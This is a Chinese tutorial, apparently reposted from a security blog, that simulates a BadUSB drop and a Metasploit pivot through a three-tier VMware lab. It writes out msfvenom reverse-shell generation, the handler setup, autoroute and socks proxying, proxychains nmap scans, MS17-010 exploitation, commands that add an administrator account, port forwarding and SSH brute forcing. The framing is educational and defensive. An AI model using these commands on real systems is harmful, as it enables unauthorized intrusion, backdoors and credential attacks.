溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用BadUSB穿透3層內(nèi)網(wǎng)

發(fā)布時間:2022-01-05 17:37:14 來源:億速云 閱讀:187 作者:柒染 欄目:云計算

如何利用BadUSB穿透3層內(nèi)網(wǎng),很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

作為一個安全人員,聽過許多社工APT案例,釣魚郵件、水坑攻擊、丟個u盤等等。前段時間在一次培訓(xùn)中了解到BadUSB的攻擊方式,可以通過U盤達(dá)到控制服務(wù)器的效果,在著名的美劇《黑客軍團(tuán)》中也出現(xiàn)了在停車場扔BadUSB來進(jìn)行釣魚的場景。

一時好奇,于是嘗試模擬一次社工,利用VMware搭建了3層網(wǎng)絡(luò)靶場,通過BadUSB+MSF的攻擊手段,一步一步滲透到第三層網(wǎng)絡(luò)。  

0x01 三層網(wǎng)絡(luò)靶場搭建

本次模擬實驗的網(wǎng)絡(luò)拓?fù)淙缦拢?br/>第一層網(wǎng)絡(luò),模擬企業(yè)辦公網(wǎng),為一臺win7的員工辦公電腦,第二層網(wǎng)絡(luò)模擬內(nèi)網(wǎng),是一臺win2003服務(wù)器,第三層網(wǎng)絡(luò)為企業(yè)核心網(wǎng),為一臺Linux服務(wù)器。攻擊者的攻擊機(jī)有kali和win10。

如何利用BadUSB穿透3層內(nèi)網(wǎng)

我們可以利用VMware搭建出3層網(wǎng)絡(luò)的網(wǎng)絡(luò)環(huán)境,首先在虛擬機(jī)中新建3塊網(wǎng)卡,并選擇僅主機(jī)模式:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)

我們將kali設(shè)為第一層網(wǎng)絡(luò)vmnet1,在網(wǎng)絡(luò)適配器中選擇自定義vmnet1:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


在第一層靶機(jī)win7虛擬機(jī)設(shè)置中添加一個網(wǎng)絡(luò),并將兩個網(wǎng)絡(luò)分別設(shè)為vmnet1和vmnet2,達(dá)到雙網(wǎng)卡的效果:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


同理,將第二層靶機(jī)win2003設(shè)為雙網(wǎng)卡vmnet2和vmnet3:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


最后,將第三層靶機(jī)linux的網(wǎng)絡(luò)設(shè)為vmnet3:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


至此,我們本次試驗的3層網(wǎng)絡(luò)靶場已經(jīng)搭建完畢,攻擊者的kali只能訪問第一層網(wǎng)絡(luò),而無法訪問第二層和第三層的靶機(jī):  

如何利用BadUSB穿透3層內(nèi)網(wǎng)

0x02 BadUSB介紹

  • 效果演示
    在介紹BadUSB之前,我們先來看一下他的威力,下面的u盤看上去是一個u盤,但其實內(nèi)部是一個單片機(jī),普通人很容易被迷惑。

如何利用BadUSB穿透3層內(nèi)網(wǎng)


我在本地的win10上做了演示,我的系統(tǒng)裝了防病毒軟件,并且補(bǔ)丁也更新到最新,但當(dāng)我將上面的u盤查到電腦上的時候,他達(dá)到了任意執(zhí)行命令的效果。

如何利用BadUSB穿透3層內(nèi)網(wǎng)


當(dāng)然上面的操作只是為了演示,我們完全可以利用他來做更多隱蔽的攻擊操作。  

  • 什么是BadUSB?
    簡單來說,就是讓USB設(shè)備偽裝成鍵盤,被插入的電腦猝不及防會被迅速輸入一定的“指令”,這個指令會讓該電腦迅速成為肉雞,這個漏洞最早在2014年的BlackHat安全大會上公布。BadUSB最可怕的一點是惡意代碼存在于U盤的固件中,由于PC上的殺毒軟件無法訪問到U盤存放固件的區(qū)域,因此也就意味著殺毒軟件和U盤格式化都無法應(yīng)對BadUSB進(jìn)行攻擊。

  • 常見的BadUSB
    1、TEENSY
    攻擊者在定制攻擊設(shè)備時,會向USB設(shè)備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機(jī)開發(fā)系統(tǒng),它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標(biāo),當(dāng)你插入這個定制的USB設(shè)備時,電腦會識別為一個鍵盤,利用設(shè)備中的微處理器與存儲空間和編程進(jìn)去的攻擊代碼,就可以向主機(jī)發(fā)送控制命令,從而完全控制主機(jī),無論自動播放是否開啟、是否安裝殺毒軟件,都可以成功。

如何利用BadUSB穿透3層內(nèi)網(wǎng)


2、USB RUBBER DUCKY
簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發(fā)板實現(xiàn),后來發(fā)展成為一個完全成熟的商業(yè)化按鍵注入攻擊平臺。它的原理同樣是將USB設(shè)備模擬成為鍵盤,讓電腦識別成為鍵盤,然后進(jìn)行腳本模擬按鍵進(jìn)行攻擊。  

如何利用BadUSB穿透3層內(nèi)網(wǎng)

  • 制作一款簡易BadUSB
    制作一款BadUSB我們需要以下工具:

1、BadUSB設(shè)備,目前在淘寶有售,我們這里選用的是Digispark,Digispark是一個基于ATTINY85微控制器的USB開發(fā)板,體積小且價錢便宜,淘寶有售:https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d

如何利用BadUSB穿透3層內(nèi)網(wǎng)


2、Arduino IDE
Arduino IDE用于燒錄代碼的編譯器,可以將我們的惡意代碼燒錄到BadUSB中,配置好相關(guān)參數(shù),將開發(fā)板設(shè)為Digispark,編程器設(shè)為USBtinyISP:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


編寫好代碼后,我們就可以點擊“上傳”按鈕,然后插入BadUSB設(shè)備,一款簡易BadUSB就做好了。

0x03 MSF內(nèi)網(wǎng)滲透

有了上面的BadUSB的知識,我們可以模擬一個社工場景:企業(yè)內(nèi)部人員撿到了一個“u盤”,出于好奇插在了自己的辦公電腦上,而這個“u盤”其實是一個BadUSB,插上之后會自動下載攻擊者用MSF制作的后門,所以在插上u盤之后,員工的辦公電腦就已經(jīng)被黑客控制,黑客從而可以進(jìn)一步進(jìn)行內(nèi)網(wǎng)滲透、橫向擴(kuò)展。下面我們就來看看如何利用MSF一步一步進(jìn)行內(nèi)網(wǎng)滲透:

  • 制作MSF后門:
    msf的msfvenom命令可以生成我們所需要的后門:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 -f exe >shell.exe

    其中,192.168.59.128是msf監(jiān)聽端的地址,6666是msf監(jiān)聽端的端口。我們將生成的shell.exe放在卡里搭建的web服務(wù)上。

  • MSF開啟監(jiān)聽:
    在MSF服務(wù)端,我們開啟監(jiān)聽,等待win7反彈shell:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.59.128
    set LPORT 6666
    exploit

     

    如何利用BadUSB穿透3層內(nèi)網(wǎng)

  • BadUSB燒入攻擊程序
    根據(jù)工作中真實監(jiān)控的payload套路,我們在BadUSB中燒入如下程序,讓第一層靶機(jī)Win7自動下載攻擊者kali中的制作好的shell.exe,并執(zhí)行:

如何利用BadUSB穿透3層內(nèi)網(wǎng)


這樣一來,當(dāng)win7被插上u盤后,攻擊者的msf就獲得了一個反彈shell:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)

  • meterpreter滲透
    Meterpreter是MSF中的一個模塊,攻擊payload在攻擊成功以后給我們返回一個控制通道——Meterpreter shell。Meterpreter shell作為滲透模塊有很多有用的功能,比如添加一個用戶、打開shell、得到用戶密碼、上傳下載遠(yuǎn)程主機(jī)的文件、運行cmd.exe、捕捉屏幕、得到遠(yuǎn)程控制權(quán)、捕獲按鍵信息、清除應(yīng)用程序、顯示遠(yuǎn)程主機(jī)的系統(tǒng)信息、顯示遠(yuǎn)程機(jī)器的網(wǎng)絡(luò)接口和IP地址等信息等等。

我們可以在meterpreter中輸入shell獲得靶機(jī)win7的shell,執(zhí)行ipconfig,發(fā)現(xiàn)第二層網(wǎng)絡(luò)的網(wǎng)段信息:

如何利用BadUSB穿透3層內(nèi)網(wǎng)


為了使得MSF能夠繼續(xù)對第二層網(wǎng)絡(luò)進(jìn)行滲透,我們首先需要添加路由表:  

metepreter> run autoroute -s 192.168.90.0/24

如何利用BadUSB穿透3層內(nèi)網(wǎng)


這樣,通往192.168.90.0/24網(wǎng)段的流量通過meterpreter 的session2進(jìn)行路由。然后,我們在msf啟動socks代理:  

msf> use auxiliary/server/socks4a   
msf > set srvhost 192.168.59.128     
msf > set srvport 9999  
msf > run

如何利用BadUSB穿透3層內(nèi)網(wǎng)


這樣其他攻擊軟件可以通過MSF socks代理、添加的路由對第二層滲透。  

此時,我們已經(jīng)可以訪問第二層網(wǎng)絡(luò)192.168.90.0/24了,按照常見的滲透思路,我們會對第二層網(wǎng)絡(luò)進(jìn)行掃描探測,看看存活主機(jī)有哪些,比如用nmap進(jìn)行掃描,不過在此之前,我們還需要配置kali中的proxychain,通過proxychain 將nmap的流量通過msf的socks代理,進(jìn)行第二層的網(wǎng)絡(luò)掃描。

  • 配置proxychain
    修改/etc/proxychains.conf,將里面的服務(wù)器和端口設(shè)置為msf socksserver的信息:

    此時,我們可以利用nmap進(jìn)行第二層網(wǎng)絡(luò)的探測:

  • 如何利用BadUSB穿透3層內(nèi)網(wǎng)

由于proxychains無法代理icmp的數(shù)據(jù)包 所以必須添加-Pn -sT參數(shù),即不檢測主機(jī)是否存活,直接進(jìn)行端口tcp掃描。

proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132

如何利用BadUSB穿透3層內(nèi)網(wǎng)


通過掃描我們發(fā)現(xiàn)了,第二層網(wǎng)絡(luò)中的靶機(jī)地址192.168.90.129,同時開啟了80、445、3306、3389端口,因此下一步的滲透可以從這幾個端口考慮。  這里有幾個思路,可以從80端口找漏洞,嘗試上傳webshell,3306和3389可以嘗試口令爆破,而445端口第一個就會想到大名鼎鼎的MS17-010,永恒之藍(lán)。  

  • 永恒之藍(lán)
    雖然wannacry事件已經(jīng)過去一年多了,內(nèi)網(wǎng)里存在ms17-010漏洞的情況在各個行業(yè)并不少見,在這次模擬環(huán)境中,第二層網(wǎng)絡(luò)win2003就存在這個漏洞,我們可以利用msf直接對ms17-010進(jìn)行利用,拿到shell,配置攻擊參數(shù),由于第二層服務(wù)器無法直接和攻擊者的kali進(jìn)行通信,所以這里注意payload要設(shè)置為bind_tcp,即采用正向代理的模式。

如何利用BadUSB穿透3層內(nèi)網(wǎng)


成功攻擊,獲得meterpreter shell:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


拿到system權(quán)限,我們可以修改administrator密碼,或者新增管理員用戶:  

net user tinhyfisher tinyfisher /add 添加用戶tinyfisher密碼為tinyfisher  
net localgroup administrators tinyfisher /add 將帳號tinyfishe升級為管理員
  • 端口轉(zhuǎn)發(fā)
    我們看到,第二層的win2003服務(wù)器開啟了3389,我們可以登錄遠(yuǎn)程桌面,如果沒有開啟也沒關(guān)系,我們可以通過下面的命令開啟。

    metepreter>run getgui -e  
    或者
    metepreter>run post/windows/manage/enable_rdp

    現(xiàn)在,我們無法直接從最外層訪問第二層的3389,我們需要將3389的流量轉(zhuǎn)發(fā)出來,從而登錄遠(yuǎn)程桌面:

    metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #將目標(biāo)機(jī)192.168.90.129的3389端口轉(zhuǎn)發(fā)到本地kali 7777端口


    至此,我們已經(jīng)可以在自己的攻擊機(jī)上,遠(yuǎn)程登錄并控制第二層靶機(jī)了。

  • 如何利用BadUSB穿透3層內(nèi)網(wǎng)

  • 第三層網(wǎng)絡(luò)滲透
    同樣,我們要進(jìn)一步對第三層網(wǎng)路進(jìn)行滲透的話,第一步還是添加到第三層的路由:

如何利用BadUSB穿透3層內(nèi)網(wǎng)


然后是利用nmap探測第三層網(wǎng)絡(luò)端口信息:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


開放了80和22端口,思路比較明顯,要拿到權(quán)限,要么ssh口令爆破,要么從web端找漏洞傳webshell。  

  • 口令爆破
    首先嘗試第一個思路,看看ssh是否存在弱口令,我們使用auxiliary/scanner/ssh/ssh_login模塊,配置好用戶名和字典,開始爆破:

如何利用BadUSB穿透3層內(nèi)網(wǎng)


果然存在弱口令123456,直接拿到root權(quán)限。  

  • web滲透
    我們可以在瀏覽器中配置kali為代理服務(wù)器,從而訪問第三層網(wǎng)絡(luò):

如何利用BadUSB穿透3層內(nèi)網(wǎng)


打開訪問,發(fā)現(xiàn)是Typecho的博客系統(tǒng):  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


對于這種CMS我們的思路一般是直接去互聯(lián)網(wǎng)搜索CMS的漏洞poc進(jìn)行測試,這里就不再進(jìn)一步演示:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)


至此,我們通過BadUSB讓第一層網(wǎng)絡(luò)中的win7系統(tǒng)下載并運行我們的惡意軟件,然后通過MSF利用MS17-010、口令爆破、web滲透等方式穿透三層內(nèi)網(wǎng),最終拿下第三層網(wǎng)絡(luò)系統(tǒng)的權(quán)限。常見的滲透思路可以參考下面的腦圖:  

如何利用BadUSB穿透3層內(nèi)網(wǎng)

本次模擬只是最簡單的演示,實際情況會比這個復(fù)雜的多,比如目標(biāo)會安裝防病毒軟件,因此,當(dāng)利用BadUSB下載msf后門的時候需要考慮如何免殺,不然很容易被發(fā)現(xiàn);各個網(wǎng)段一般也會做隔離,因此如何找到網(wǎng)絡(luò)突破口比較難;內(nèi)部會有各種安全設(shè)備,比如IDS、蜜罐、TDA等等,所以真正滲透比本次試驗要難的多。

但這里出現(xiàn)的員工安全意識較差,補(bǔ)丁更新不及時、沒有安裝防病毒軟件或者病毒庫更新不及時、以及系統(tǒng)存在弱口令的問題在實際工作中也是經(jīng)常遇到,做好企業(yè)安全工作這些基礎(chǔ)工作很重要。

最后,通過USB接口攻擊的案例很多,BadUSB只是一類,還有通過USB接口橫跨PC和Mobile平臺進(jìn)行攻擊的案例。我們在日常使用USB設(shè)備時,不要使用陌生的USB設(shè)備,避免USB存在惡意代碼導(dǎo)致安全風(fēng)險。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI